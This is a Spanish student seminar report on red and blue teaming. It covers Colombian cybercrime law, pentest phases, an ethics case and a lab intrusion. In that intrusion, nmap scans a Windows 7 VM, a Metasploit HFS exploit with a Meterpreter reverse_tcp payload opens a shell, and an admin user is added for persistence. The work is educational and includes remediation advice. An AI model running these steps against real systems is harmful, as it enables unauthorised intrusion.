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1. RESUMEN

El presente documento se presenta como resumen del seminario especializado en
RedTeam & BlueTeam, dentro de él se encontrara toda la informacion desarrollada
durante el seminario, las diferentes etapas con su respectivo detalle.

La seguridad informatica se destaca como un proceso que protege los activos
informaticos de las organizaciones y en los ultimos afios ha cobrado gran
importancia debido al impacto que han tenido los diferentes ataques informaticos en
diferentes empresas, con el fin de profundizar en los conocimientos, durante el
seminario se desarrollé la metodologia RedTeam & BlueTeam, con el fin de poder
implementarla y conocer las diferentes aplicaciones y métodos de uso.

Con este trabajo se quiere resumir el desarrollo del seminario y de esta manera
capturar el conocimiento desarrollado, con el fin de poder establecer un marco de
referencia que nos permitird aplicar estos conocimientos en el mundo real.



2. INTRODUCCION

Teniendo en cuenta que la informacion se ha convertido en uno de los activos mas
importantes de las empresas, su transmision a traves de diferentes medios se hace
muy importante para el correcto uso de estos, las redes de datos se han utilizado
para acortar distancias y aprovechar de manera agil y eficiente el procesamiento de
datos por parte de las organizaciones.

La ciberseguridad tiene una gran cantidad de componentes que la hacen una parte
muy complicada en el manejo de una organizacion, tiene componentes humanos,
técnicos, econdmicos y tecnoldgicos, adicionalmente el impacto de un incidente de
seguridad es catastrofico, ya que el 60% de las empresas cierran a los 6 meses
luego de ser victimas de un ciberataque?.

Siendo una parte tan importante en el manejo de activos informaticos de las
empresas, se hace necesario el proteger de accesos indeseados este recurso,
garantizando los 3 pilares de la seguridad de la informacién, confidencialidad,
integridad y disponibilidad, para de esta manera ofrecer a los usuarios acceso a los
mismos.

En el presente desarrollaremos las diferentes estrategias BlueTeam & RedTeam,
con el fin de profundizar los conocimientos en el tema y desarrollar estrategias que
mejoren la ciberseguridad de las organizaciones.

1 JOHNSON, Robert. (2019). 60 Percent Of Small Companies Close Within 6 Months Of Being
Hacked. {En linea}. Fecha {02 de enero de 2019}. Disponible en
https://cybersecurityventures.com/60-percent-of-small-companies-close-within-6-months-of-being-
hacked/



https://cybersecurityventures.com/60-percent-of-small-companies-close-within-6-months-of-being-hacked/
https://cybersecurityventures.com/60-percent-of-small-companies-close-within-6-months-of-being-hacked/

3. GLOSARIO
Amenazas

Peligro latente de que un evento de cualquier origen sea explotado por un atacante
utilizando medios tecnoldgicos., 13, 32, 35, 36, 37

Ataque informatico

Cuando se explota una vulnerabilidad del sistema por parte de alguien que busca
algun tipo de beneficio, utilizando herramientas informéticas o explotando
deficiencias en seguridad., 36, 39, 40

BlueTeam
Blue Team (seguridad defensiva)

es el equipo de seguridad que defiende a las organizaciones de ataques de una
manera proactiva., 6, 8, 38, 40

Pentesting

Una prueba de penetracion puede determinar coOmo un sistema reacciona a un
ataque, si las defensas de un sistema pueden ser violados, y qué informacion puede
ser adquirido desde el sistema, 10, 11, 12

RedTeam

Un Red Team es un ejercicio, el cual consiste en simular un ataque dirigido a una
organizacion, lo que se traduce que un grupo de personas internas o externas a la
empresa, comprueban la posibilidad de tener acceso a los sistemas,
comprometerlos y el impacto que esto podria tener en el negocio., 6, 8, 38, 40

Riesgos informaticos

Es cualquier activo o sistema que es susceptible de ser atacado, estos deben ser
identificados y mitigados efectivamente., 12

Vulnerabilidad



Es una debilidad que tiene el sistema y que puede llegar a ser explotado por un
atacante determinado., 4, 12, 13, 26, 27, 29, 32



4. OBJETIVOS

4.1.0BJETIVO GENERAL

Conocer a profundidad las estrategias RedTeam y BlueTeam, con el fin de
aplicar dichos conocimientos en el &mbito laboral y de esta manera proteger
efectivamente los activos informaticos de una organizacion.

4.2.OBJETIVOS ESPECIFICOS

Resumir el desarrollo de las diferentes actividades del diplomado.
Definir aspectos que aporten al desarrollo de estrategias de RedTeam &
BlueTeam.

e Establecer recomendaciones para el planteamiento de estrategias que
permitan endurecer los aspectos de seguridad en una organizacién

e Elaborar conclusiones que permitan la construccion del conocimiento desde
el enfoque de la ciberseguridad.



5. DESARROLLO DEL INFORME

5.1.ETAPA 1: CONCEPTOS DE SEGURIDAD

1. Dentro del margen legal en Colombia sobre delitos informaticos y proteccion
de datos personales redacte con sus propias palabras que legislacion “leyes,
decretos” existen actualmente y las caracteristicas principales de cada ley.

Para la proteccion de datos personales se creé la Ley 1581 de 20122, denominada
“Por la cual se dictan disposiciones generales para la proteccion de datos
personales.”, esta Ley establece principios para la proteccién de datos, define los
términos generales de los datos y su proteccion, establece derechos y deberes entre
las personas que administran datos personales, define los procedimientos que se
deben realizar para la proteccion de los datos personales, delega en la
Superintendencia de Industria y Comercio la responsabilidad para la proteccién de
los datos.

Ademas, establece sanciones para aquellas entidades que no realicen un correcto
manejo de los datos, crea el Registro Nacional de Bases de Datos y regula la
transferencia de datos a otros paises.

Esta Ley ofrece un buen nivel de proteccion de datos para los ciudadanos
colombianos y les brinda herramientas suficientes para proteger su informacion,
dando como resultado varias sanciones contra empresas que no han cumplido las
normas.

Sobre delitos informaticos existe la Ley 1273 de 20092 que agrega al cdigo penal
los siguientes delitos sobre activos informaticos:

Acceso abusivo a un sistema informatico

Obstaculizacién ilegitima de sistema informatico o red de telecomunicacion.
Interceptacion de datos informaticos.

Dafio Informatico.

Uso de software malicioso.

2 Ley 1581 de 2012. Por la cual se dictan disposiciones generales para la proteccion de datos
personales. Senado de la Republica de Colombia.
https://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=49981

3 Ley 1273 (2009). Modificacion al Codigo Penal. Senado de la Republica de Colombia.
http://www.secretariasenado.gov.co/senado/basedoc/ley 1273 _2009.html.
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Violacion de datos personales.

Suplantacion de sitios web para capturar datos personales.
Hurto por medios informaticos y semejantes.
Transferencia no consentida de activos.

Adicionalmente se agregan circunstancias de agravacion punitiva que incrementa
las penas cuando se presentan las siguientes condiciones:

e Sobre redes o sistemas informaticos o de comunicaciones estatales u
oficiales o del sector financiero, nacionales o extranjeros.
Por servidor publico en ejercicio de sus funciones.
Aprovechando la confianza depositada por el poseedor de la
informacion o por quien tuviere un vinculo contractual con este.

e Revelando o dando a conocer el contenido de la informacion en
perjuicio de otro.
Obteniendo provecho para si o para un tercero.
Con fines terroristas o generando riesgo para la seguridad o defensa
nacional.
Utilizando como instrumento a un tercero de buena fe.
Si quien incurre en estas conductas es el responsable de la
administracion, manejo o control de dicha informacién, ademas se le
impondréa hasta por tres afos, la pena de inhabilitacion para el ejercicio
de profesion relacionada con sistemas de informacién procesada con
equipos computacionales.

Y para cualquier tipo de delito ya establecido en el cddigo penal “Cuando para la
realizacion de las conductas punibles se utilicen medios informaticos, electrénicos
o telematicos.”

2. En el mundo de la ciberseguridad existen procesos definidos para poder
ejecutar de forma organizada lo que se conoce como pruebas de penetracion
0 pentesting; usted como futuro experto debera redactar con sus palabras y
definir cada una de las etapas del pentesting, dentro de la definicion
incorporara un ejemplo de una herramienta que se utilice para cada una de
las etapas del pentesting.

El siguiente es el proceso estandarizado de pentesting:
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1. Planeaciény reconocimiento:

Definicion del alcance y los objetivos de una prueba, incluidos los sistemas que se
abordaran y los métodos de prueba que se utilizaran.

Recopilacion de inteligencia (por ejemplo, nombres de red y dominio, servidor de
correo) para comprender mejor como funciona un objetivo y sus posibles
vulnerabilidades.

Herramienta utilizada:

Zmap: Zmap es un escanner de la red que permite identificar los equipos que
pertenecen a una red determinada, con la direccion IP se puede recolectar
informacion de base para el pentesting.

2. Escaneo:

En esta etapa se realiza un escaneo de las posibles vulnerabilidades del sistema,
tanto del codigo, como de la red, esta fase es la mas importante, ya que detectando
las vulnerabilidades es como se puede realizar un ataque con mucho mas impacto.

Herramienta utilizada:

NMAP/ZenMap: Esta herramienta permite realizar una deteccién de todos los
puertos en cualquier red, lo que permite identificar posibles objetivos para nuestro
ataque.

3. Ganar acceso:

De acuerdo con las vulnerabilidades detectadas en el escaneo, los pentesters
explotan dichas vulnerabilidades y ganan acceso al sistema, ademas de buscar la
posibilidad de escalar los privilegios con el fin de profundizar el ataque.

Herramienta utilizada:

sglmap: Esta herramienta permite utilizar inyeccion SQL para tomar el control de un
servidor de base de datos, se puede utilizar tanto en Windows como en Linux, y es
una herramienta con una gran cantidad de funciones para atacar diferentes motores
de bases de datos.
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4. Acceso Persistente:

Luego de ganar acceso al sistema, la idea es lograr mantenerlo por el mayor tiempo
posible, con el fin de obtener el mayor nivel de privilegios y lograr acceso a la mayor
cantidad de sistemas posibles. Esto con el fin de simular un ataque real en el que el
atacante permanece en el sistema por mucho tiempo.

Herramienta utilizada:

Kali Linux: Esta distribucion de Linux creada especificamente para el pentesting
cuenta con gran cantidad de herramientas que permiten realizar todo el proceso de
pentesting desde un solo computador, todas las herramientas son opensource y
permiten una configuracion extendida.

5. Analisis y Reporte:

En esta etapa se entregan todos los resultados de las diferentes fases,
vulnerabilidades, nivel de impacto, activos afectados, el tiempo que cada pentester
estuvo conectado sin ser detectado y qué medidas se deben tomar para disminuir
la vulnerabilidad del sistema ante los ataques, identificando de esta manera los
riesgos informaticos.

Herramienta utilizada:

Microsoft Word: Se entrega un informe en archivo de texto con toda la informacion
detallada.

3. Las herramientas de ciberseguridad son de vital importancia, ademas que existe
un gran abanico de posibilidades de herramientas existentes y software
especializado para desarrollar herramientas propias. Usted como futuro experto
debe definir y explicar las siguientes herramientas:

Herramientas:

* Metasploit: Es un framework de herramientas que permite escribir, testear y
ejecutar codigo malicioso, esta desarrollada en Ruby y contiene un conjunto de
herramientas que permite testear vulnerabilidades, ejecutar ataques y permanecer
invisible.
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* Nmap: Es una herramienta de escaneo de redes, que permite detectar los
dispositivos conectados a una red y obtener informacién sobre el tipo de dispositivos
y sistema operativo de cada uno, esto con el fin de generar un mapa del objetivo
que se pretende atacar.

* OpenVas: Es una herramienta que permite descubrir vulnerabilidades en los
sistemas, contiene varios tests predeterminados y una interfaz web. Al ser una
herramienta open source, cuenta con una gran cantidad de colaboradores, lo que
permite corregir falsos positivos de manera agil y eficaz.

Servicios en linea:

» ExploitDB: Es una base de datos con diferentes exploit encontrados, permite a los
especialistas en seguridad mantenerse actualizados con las diferentes
vulnerabilidades en diferentes sistemas de manera que puedan estar al dia con los
posibles ataques y poder remediarlos.

* CVE: Common Vulnerabilities and Exposures, es un sistema desarrollado por el
MITRE que permite asignar un ID a una vulnerabilidad detectada e identificada
correctamente,permite unificar conceptos para unir esfuerzos en la mitigacion de
dichas amenazas

Para finalizar esta actividad es importante que usted reconozca, analice y configure
“banco de trabajo” lo solicitado en el anexo 1 — Escenario 1 sobre el cual debera
trabajar actividades que contienen un alto grado de tecnicidad. Lo solicitado en el
anexo 1 — escenario 1 es lo siguiente:

Paso A: Descargar la herramienta virtualizadora “VirtualBox” en su ultima version.

Paso B: Una vez se realice apertura del foro para el desarrollo de la actividad se
procedera a compartir enlace de descarga de lo requerido para el montaje del banco
de trabajo, las imagenes en formato. OVA las cuales se encuentran ya
preconfiguradas para ser utilizadas en las actividades de caracter técnico. En las
imagenes. OVA existe: Un windows 7 X86, un windows 7 X64, un Kali Linux. « Paso
C: Debe validar que exista comunicacion entre cada una de las maquinas Windows
con la maquina de Kali Linux, recuerde por favor no encender las tres maquinas al
tiempo ya que puede colapsar los recursos hardware de su equipo host, encienda
primero una maquina Windows y posterior a ello encienda la maquina Kali Linux.
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Paso D: Evidenciar con printscreen el montaje del banco de trabajo y explicar como
se encuentra desplegado “caracteristicas técnicas de hardware”.

1. Se ve que el equipo con Kali que tiene la direccion IP 192.168.0.12.
llustracion 1.

llustracion 1 Direccion IP del equipo Kali

VemP O 4 O H A BNE|a c

Text Editor
“#  Simple Text Editor kali@kali: ~

rue  Acuons  cdit View Help
Trash

a
1: <LOOPBACK,UP, LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group def
ault glen 1000
s link/loopback @ 2:00:00:00 brd 00:00:00:00:00:0
File Syste inet ope host lo
valid_1f ver preferred_lft forever
inet6

a

group
lin

ope global dynamic noprefixroute

valid_1ft 3@32sec preferred_lft 3032sec
inet6 / cope global temporary dy
namic
valid_1ft 3601sec preferred_lft 3601sec
inet6 /64 scope global dynamic mngtm
paddr noprefixroute
valid_1ft 3601sec preferred_lft 3601sec
inet6 /64 scope link noprefixroute
valid_1ft forever preferred_lft forever

Fuente: Autor

2. Aqui el primer equipo Windows hace ping al equipo de Kali. llustracion 2.
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llustracion 2 Verificacién de ping entre equipos configurados.

rporation. Reservados todos los derechos.

.168.0.12

ytes de datos:
ti ML=

.168.0.
92.168.0.
192.168.0.
s = 4, recibidos
de ida y vuelta en
no = Ons, Media

Fuente: Autor

3. Aqui se ve al segundo equipo Windows haciendo ping al equipo con Kali.
llustracion 3.

llustracion 3 Direccion IP del segundo equipo con Windows 7.

Microsoft Windos n 6.1.76011
Copyright (c) 2 rporation. Reservad los derechos.

C:\Users\usuariodping 192.168.0.12

de d.

enpo<in

-a. 2 tienpo<in
a desde 192.168.0. g enpo<in TTL=64
a desde 192.168.0. tienpo<in TTL=64

Estadist de ping para 192.168.0.
Paque nviados = 4, recibidos = 4, perdidos = @
@2 perdid
pos _aproxin de ida y vuelta en milisegundos:
Minino = @ns, Méximo s, Media =

Users\usuariod.

Fuente: Autor
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4. Aqui se pueden ver las caracteristicas técnicas del hardware donde se corren
las maquinas virtuales. llustracién 4,5y 6:

llustracion 4 Caracteristicas del equipo Kali.

[ T p— - s %
[rpT—

L st

5 Presmeskzscin

Kalirlinux-2022.1-
wirtualbox-amdé64

s
) v s
e

Y - semean
[T

S e scams

o

0 pamats
= PR oo e
;- e

s 2 .+ e, )
Conbdr e Wk Oreiand

Gt b

e

A o FACOONT Dk s prts, sl Oy Corae]
5

st 0a

=

[Rpe—

Fuente: Autor

llustracion 5 Caracteristicas del equipo Windows 7.

5 Presmeskzscin

i [ r—
[T ] 2
i..n P jrou il el win7-SE2020
B T e S, s -
e 2
% gl d
st

Y b 2211 sl st fsves ()
[T

Fuente: Autor
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llustracion 6 Caracteristicas del Equipo Windows 7x64.

o
—
by

= memuasore
Win7-SE2020-X64
i Fromasi e

Y kb 20221 wetsabo st vives )
@ o

Fuente: Autor

5.2.ETAPA 2: ACTUACION ETICA Y LEGAL

1. ¢Una vez leido el anexo 2 — escenario 2 y el anexo 3 - Acuerdo usted logra
evidenciar algun proceso ilegal y no ético que se esté estipulando en dicho
acuerdo? Debera argumentar su respuesta y sefialar los fragmentos ilegales
del anexo acuerdo en caso de existir alguna irregularidad.

Teniendo en cuenta que la Ley 842 de 2003* establece en el articulo 31 los deberes
generales de los profesionales, entre los que se encuentra:

(f) Denunciar los delitos, contravenciones y faltas contra este Codigo de Etica, de
que tuviere conocimiento con ocasion del ejercicio de su profesion, aportando toda
la informacién y pruebas que tuviere en su poder;

4 Ley 842 de 2003. Por la cual se modifica la reglamentacion del ejercicio de la ingenieria, de sus
profesiones afines y de sus profesiones auxiliares, se adopta el Cddigo de Etica Profesional y se
dictan otras disposiciones. https://www.copnia.gov.co/nuestra-entidad/normatividad/ley-842-de-
2003
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Los siguientes puntos del acuerdo de confidencialidad con Whitehouse Security son
ilegales y no se pueden aceptar, ya que, si se hace, se corre el riesgo de perder la
licencia profesional.

Clausula Primera:

“Primera. Objeto: en virtud del presente acuerdo de confidencialidad, la parte
receptora, se obliga a no divulgar directa, indirecta, proxima a remotamente, ni a
través de ninguna otra persona o de sus subalternos o funcionarios, autoridades
legales, asesores o0 cualquier persona relacionada con ella, la informacion
confidencial o sobre procesos ilegales dentro de Whitehouse Security no podran
ser divulgados.”

El punto 2 de la clausula 2 que dice:

2. Cualquier informacién societaria, técnica, juridica, financiera, comercial, de
mercado, estratégica, de productos, nuevas tecnologias, patentes, modelos de
utilidad, disefios industriales, datos secretos como “datos de chuzadas,
interceptacién de informacién, accesos abusivos a sistemas informaticos”.

Clausula 4a. punto 3,4y 9:

3. No denunciar ante las autoridades actividades sospechosas de espionaje o
cualquier otro proceso en el cual intervenga la apropiaciéon de informacion de
terceros.

4. Abstenerse de denunciar y publicar la informacién confidencial e ilegal que
conozca, reciba o intercambie con ocasién de las reuniones sostenidas.

9. La parte receptora se obliga a no transmitir, comunicar revelar o de cualquier
otra forma divulgar total o parcialmente, publica o privadamente, la informacion
confidencial o ilegal sin el previo consentimiento por escrito por parte de Whitehouse
Security.

Teniendo en cuenta la informacién consignada se puede inferir que los delitos que
comete Whitehouse Security son los siguientes:

e Acceso abusivo a sistemas informaticos.
e Interceptacion de datos informaticos.
e Violacion de datos personales.
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Ademas de otras que se enuncian cuando hablan sobre procesos ilegales, por lo
que teniendo en cuenta la Ley 1273 de 2009°, se evidencia un gran entramado ilegal
de actividades que ponen en riesgo al Ingeniero que firme este acuerdo, lo que lo
puede poner en riesgo a condenas que van desde los 4 a 8 afios por cada delito
cometido.

Adicionalmente la Clausula 8a establece:
Octava. Solucion de controversias: Las partes (nombre estudiante

— nombre empresa) se comprometen a esforzarse en resolver mediante los
mecanismos alternativos de solucion de conflictos cualquier diferencia que surja con
motivo de la ejecucién del presente acuerdo. En caso de que la informacion ilegal o
confidencial sea encontrada en manos del receptor este debera acudir a un abogado
privado y dejar exenta de cualquier responsabilidad legal y penal a Whitehouse
Security.

Es decir, la empresa Whitehouse Security se lava las manos de todo el proceso
legal que pueda ocurrir en el caso de que los delitos sean denunciados.

¢Existiendo procesos poco confiables en el anexo 3 — Acuerdo? ¢usted como
experto en ciberseguridad aplicaria a este trabajo en The WhiteHouse, donde la
organizacion dispone de un sueldo de$15.000.000 de pesos colombianos
mensuales y contrato vitalicio? Debe argumentar su respuesta ya sea afirmativa o
negativa y tener en cuenta en la argumentacion lo que se dispone en COPNIA en
su codigo de ética para ingenieros.

Teniendo en cuenta que la empresa viola el cédigo de ética del COPNIA, al solicitar
al firmante que oculte delitos, que se puede inferir que se van a cometer durante la
ejecucion del trabajo y que, ademas, la empresa se lava las manos de apoyo legal
y hace completamente responsable al ingeniero, no es recomendable firmar ese
contrato, ya que probablemente le cueste su titulo y tiempo en la carcel.

3. Debera buscar la noticia del caso “OPERACION ANDROMEDA BUGGLY” en la
ciudad de Bogota, y redactar su punto de vista teniendo en cuenta las implicaciones
legales y éticas que alli se pudieron generar.

5 Ley 1273 (2009). Modificacion al Cédigo Penal. Senado de la Repulblica de Colombia.
http://www.secretariasenado.gov.co/senado/basedoc/ley 1273 2009.html.
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Segun lo que se pude leer de la Operacion Andromeda Buggly en la revista
enter.co®, esta operacion fue lanzada por el ejército con el fin de obtener informacion
sobre herramientas para el hacking ético, sin embargo, la misma se salié de control
y termind con 3 personas que fueron enviadas a la carcel por la venta de secretos
del estado, espionaje y violacion de datos personales.

Siendo una operaciéon militar, esta se encuentra protegida por el derecho militar y
las acciones realizadas para proteger la seguridad nacional, sin embargo, lo grave
de este tema es que se vendio informacion secreta a terceros por parte de los
miembros del equipo Andrémeda, lo que es totalmente grave, ya que es informacion
confidencial, irrespetando el derecho de reservay violando la Ley al compatrtir dicha
informacion con terceros que no tenian nada que ver en el proceso.

Analizando un poco mas alla, se puede ver la inocencia con la que los altos cargos
militares abordaron el proceso de inteligencia utilizando hackers, ya que, al no llevar
un control detallado de la informacion levantada y su debido manejo, lo que ocurrié
era una tragedia anunciada, ya que este tipo de activos requieren un seguimiento
permanente, ya que su facilidad de transporte y manejo, lo hacen un activo muy
dificil de controlar.

La seguridad informatica es un tema que requiere los mas seguros protocolos para
el manejo de informacion, es de vital importancia que los lideres en estos temas
reconozcan la delicadeza de los procesos realizados, teniendo en cuenta que los
ingenieros de seguridad transitan una linea entre la legalidad e ilegalidad, es de
suma importancia que se trate con total seriedad cualquier aproximacion al tema
por parte de las organizaciones, especialmente aquellas que tienen tanto poder
como lo son las militares.

5.3.ETAPA 3: EJECUCION PRUEBAS DE INTRUSION
Herramientas de software utilizadas:

NMAP: Es una herramienta utilizada para realizar rastreos en redes, permite
detectar y rastrear equipos en una red, identificando servicios y puertos abiertos.

6 Detras de Buggly: la historia de la fachada Andromeda (2015). Revista Enter,
https://www.enter.co/empresas/colombia-digital/detras-de-buggly-la-historia-de-la-fachada-
andromeda/
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METASPLOIT: Esta herramienta de codigo abierto permite detectar mdultiples
vulnerabilidades en los sistemas analizados.

Planeacion y Reconocimiento:

Para comenzar el proceso de recoleccién de informacion, se utiliza NMAP para
rastrear los equipos de la red y detectar posibles vulnerabilidades y puertos abiertos
disponibles para ser accedidos. llustracion 7.

llustracion 7 Uso de nmap.

VB EmmP O] | OO A BER|a G

Minimize all open ws and show the desktop
kali@kali: ~

and routes (f bugging)
er than clobbe cified output files

s via keyboard

e f X utput to HTML
LET0) able XML

t associating of XSL styleshee /XML output

Filesystem
n 192 .0/16 10.0.0.0/8
nmap -v -iR 10000 ]
E SEE THE MAN PAGE (https ap.org/book/man.html) FOR MORE OPTIONS AND EXAMPL
ES

cdromO |

Fuente Autor.

Se utiliza el comando sudo nmap -sn 192.168.0.1-24 para escanear las primeras 24
IP de la red, no se usa un ejemplo con un mayor nimero de puertos por agilidad,
este comando nos muestra los equipos encontrados en este rango de direcciones 'y
su estado. llustracion 8.
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llustracion 8 Uso de nmap.

F]~

Text Editor
' Simple Text Editor kali@kali: ~
rne Acuons  cune view  Help

Trash -matched sip; ignoring second value

192.168.0.1-

File Syste We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.

[sudo] sword for kali:

Starting Nmap 7.92 ( https://nmap.org ) at 202
Nmap scan report for 192.168.0.1

Host is up (0.0016s latency).

MAC Address: 3:9C: H H (Arris Group)
Nmap r r 92.168.0.2

Host is up (0.059s latency

MAC Address: A 3 6 (Google)

Nmap scan report for 192. .0.4

Host is up (0.05 latency

M Add s: A 7:84:52:C (Google)
Nmap scan report for 192.168.0.5

== Host is up (0.065s la
cdrom0 MAC Address: AE: 3:91:BF: (Unknown)

Filesystem

Fuente - Autor

El que nos interesa es la maquina virtual ubicada en la IP 192.168.0.9, con lo que
se verifica directamente con nmap. llustracion 9.

llustracion 9 Verificacion de la IP 192.168.0.9 con nmap.

S emmP o
me/kali

kali@kali: ~
File Actions Edit View Help

Host is up (0.001 o
MAC Address: 6 -} (Arris Group)

Nmap s R
Host is up (0.059s latency

S MAC Address: A A:ED
File Syste Nmap scan report for 192.16
Host is up (0.05
MAC Addres - 52
Nmap scan report for 192.1
Host is up (0.065
MAC Address: AE: S
Nmap scan report for 19
Host is up (0.058s 1
MAC Address:
Nmap scan report for i
Host is up (0.00035s latenc
MAC Address: ¢ (Oracle virtualBox virtual NIC)
Nmap scan report for 192. (i ]
Host is up (0.00032s lat
MAC Address D:CF (Micro-star Intl)
Nmap scan report for 192.168.0.10
Host is up.
E Nmap don 24 IP addresses (8 hosts up) scanned in 1.54 s

Filesystem

cdromO

Fuente - Autor
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El comando sudo nmap -A 192.168.0.9 permite escanear a profundidad el equipo,
detectando puertos abiertos y demas. llustracion 10, 11y 12.

llustracion 10 Escaneo a profundidad de la IP 192.168.0.9 con nmap.

ot shown:
tcp  open

Pack 1 micro

group: WORKGROUP)

rtsp?
cp open http I httpd PnP)
http M oft httpd UPNP)

I httpd UPnP)
: Microsoft
und
msrp
msrpc
msrpc
msrpc
msrpc

cdrom0

Fuente — Autor

llustracion 11 Escaneo a profundidad de la IP 192.168.0.9 con nmap.

Ve mP e«

Text Editor
Simple Text Editor kali@kal

rue  Acuouns  cdit View Help

Irash ;¢ pddress: 0s:00 80:C0 (Oracle VirtualBox virtual NIC)

ce type: general purpose

Microsoft Windows 7|20 A
0S CPE: cpe:/o:microsoft:windows_7 = spl cpe:/o:
microsoft:windows_server_2 F o, r 2 008:r2 cp
e: microsoft:windows_8 cp
FHeSyste 0S details: Microsoft Windows 7 SP@ - SP1, Windows Server 2008 SP1, Windows S

R2, Windows 8, or Windows 8.1 Update 1
1 hop
Service Inf Host: PC202006; OS indows; CPE: cp o:microsoft:windows

script results:
mb-security-mode
account_used: guest
authentication_level: user
challenge_resp e: supported
_ message_signing: disabled (dangerous, but default)
smb-o
0S: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.

Filesystem

0S CPE: cpe microsoft:windows_ spl:professional
Computer name: PC202006

tBIOS computer na
E = 05:00

== nbsta NetBIOS name c2 NetBIOS user: <unknown>, NetBIOS MAC:
cdromO 7:92:80:c0 (Oracle VirtualBox virtual NIC)

Fuente - Autor
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llustracion 12 Escaneo a profundidad de la IP 192.168.0.9 con nmap.

VB eom P oD 4 O D apnRT|ac

’_l Terminal Emulator
' — Use the command line kali@kali: ~
e Acuvns  cune view  Help

Trash

0S: windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.

ft:windows

File Syste

d but not required
, deviation: 2h53ml2s, median

TRACEROUTE
HOP RTT ADDR

. 1 0.46 ms 1
Filesystem SR

performed. Please report any incorrect ults at ht

E Nmap dc 1 IP address (1 host up) r conds

cdromO

Fuente - Autor

Fase Escaneo:

Se lanza la aplicacién metasploit para identificar las vulnerabilidades del sistema.
llustracion 13.

llustracion 13 Utilizacion de metasploit.

BlomP -

P Text Editor

Shell No. 1

File Actions Edi

Fuente - Autor
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Se corre el comando nmap -sV 192.168.0.9, lo que permitird reconocer las
vulnerabilidades del equipo y si tiene alguna forma de ser explotado. llustracion 14.

llustracion 14 nmap utilizado desde metasploit.

O A 14:55

Shell No. 1

File Actions Edit View Help

Filesystem ...

cdromO

Fuente - Autor

También se ejecuta el comando nmap -A para obtener informacién detallada de los
servicios y sistema operativo.
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llustracion 15 Utilizacion de nmap desde metasploit.

O 4H A 16:34

Shell No.1

File Actions Edit View Help
fi 19

k 1 micro

Filesystem ...

cdromO

Fuente: Autor

Se detecta que el puerto 80 http se encuentra abierto y esta siendo utilizado por
HttpFileServer httpd 2.3 con el titulo HFS.

Ganar acceso:

Se busca en metasploit si existe alguna vulnerabilidad utilizando el comando search
HFS, se encuentra lo siguiente. llustracion 16:
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llustracion 16 Deteccion de la vulnerabilidad hfs con metasploit.

OO & @64 | & G

wknown>, NetBIOS MAC: 08:00

Filesystem ...

cdromO

Fuente: Autor

Y se encuentra un posible exploit con rejetto_hfc_exec, para probar si se puede
utilizar se corre el comando use exploit/windows/http/rejjeto_hfs_exec al momento
de pedir el payload se escribe set payload windows/x64/meterpreter/reverse_tcp
esto da la ruta donde se ejecutara el ataque, adicionalmente se configura el host,
esto se logra con el comando set rhost 192.168.0.9, esta direccién se ubica en la
etapa reconocimiento.

Cuando ya se tiene esto configurado se ejecuta el exploit con el comando exploit, lo
gue da el siguiente resultado. llustracion 17:
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llustracion 17 Explotacién de la vulnerabilidad rejjeto hfs.

Nem P o]

Firefox ESR
the World Wid Actions Edit View Help

Shell No. 1

s/http/rejjeto_hfs

File System
> exploit

lowing options failed to valida /run/ospd/osp
) > set payload window r / m/ospd-ope
)

The val cified for payload is not lid.
exploit( t payload wind
t

t rhost 192.168.

Filesystem ... L 5 > exploit

handler on 192.1

cdrom0
or the OpenVAS Scanne

r the OpenVAS Scanner

Invalid ion identifi, 1
f ploit( ) >
0.10:4444 — 192.168.0.9:49179 ) at 2

Fuente: Autor

Luego de esto se verifica que se tiene acceso al computador ejecutando el comando
dir, lo que nos muestra los directorios. llustracién 18.

llustracion 18 Verificacion del ingreso al equipo atacado mediante el comando dir.

BemP oD OO A BT & G
Shell No. 1
Text Editor
Simple Text Editor File Actions Edit View Help
ploit(
Trash dir

top Documents Dow Music Pictu Public Templates

E : ’

File System

Filesystem ...

cdromO

Fuente: Autor
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Acceso Persistente:

Ya con acceso al equipo se puede obtener acceso persistente creando un usuario
Administrador. llustracion 19:

llustracion 19 Ejecucion de comandos para la creacion del usuario Administrador.

apvy| & G

Shell No.1
Text Editor
Simple Text Editor File Actions Edit View Help

3 opened (1 .0.10:4444 — 19
Trash

e manual cle

File System

Filesystem ..

cdrom0

rrillo /add

Fuente: Autor

Se verifica y en el sistema Windows se ha creado el usuario satisfactoriamente.
llustracion 20:
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llustracion 20 Verificacion de creacion del usuario Administrador.

[=EferfE=]
@th@,« Cuentas de usuario » Administrar cuentas en el Panel de control 2|

Elegir la cuenta que desee cambiar

usuario Oscar Carrillo
Administrador U= |l Administrador

Invitado
La cuenta de invitado esta desactivada

& Configurar Control parental

Ir ala pagina principal de Cuentas de usuario

g - N =
ofe - d e -

Fuente: Autor

Analisis y Reporte:

El pentester designado realiz6 el analisis y estudio de la informacion, tomandole
aproximadamente 8 horas el lograr acceder al sistema y explotar las
vulnerabilidades de este.

Se encontrd una debilidad en la aplicacién HFS que permite el exploit de ejecucion
de cbdigo remoto a través de una vulnerabilidad en el puerto 80, con dicho exploit
se puede lograr acceso a la maquina con los permisos necesarios para crear
usuarios con permisos de administrador y asi lograr expandir los sistemas a los que
se tiene acceso.

Con el fin de eliminar esta vulnerabilidad se recomienda eliminar esta aplicacion y
encontrar otras que cumplan las mismas funciones para eliminar dicha
vulnerabilidad del sistema.

Adicionalmente se recomienda la instalacibn de un software antivirus y la
configuracion del firewall que trae por defecto Windows para minimizar la
vulnerabilidad del equipo.
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5.4.ETAPA 4: CONTENCION DE ATAQUES INFORMATICOS

1. ¢Qué seria lo primero que indagaria y haria si llegara a encontrarse un
ataque en tiempo real? Especifique su respuesta con argumentos técnicos.

Identificar el estado de la red y la existencia de equipos no autorizados conectados
a la misma, esto se logra con Nmap a través del comando sudo nmap -sn
192.168.0.0/24, lo que nos permite identificar los equipos, si se cuenta con un
inventario de activos y direcciones IP, se puede identificar el equipo que no debe
estar conectado y poder realizar procesos de mitigacion. llustracion 21.

llustracion 21 Verificacion del estado de la red.

E emmP O 2 3 4 oo aalMlac

Fuente: Autor

Adicionalmente se puede utilizar el comando sudo nmap -sV 192.168.0.9 para
verificar los servicios que tiene funcionando el equipo que esta siendo atacado y
cudl es el objetivo del ataque. llustracion 22.
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llustracion 22 Verificacion del equipo atacado.

B om PO ' oo a gl

uy FirefoxESR

Trash

Fuente: Autor

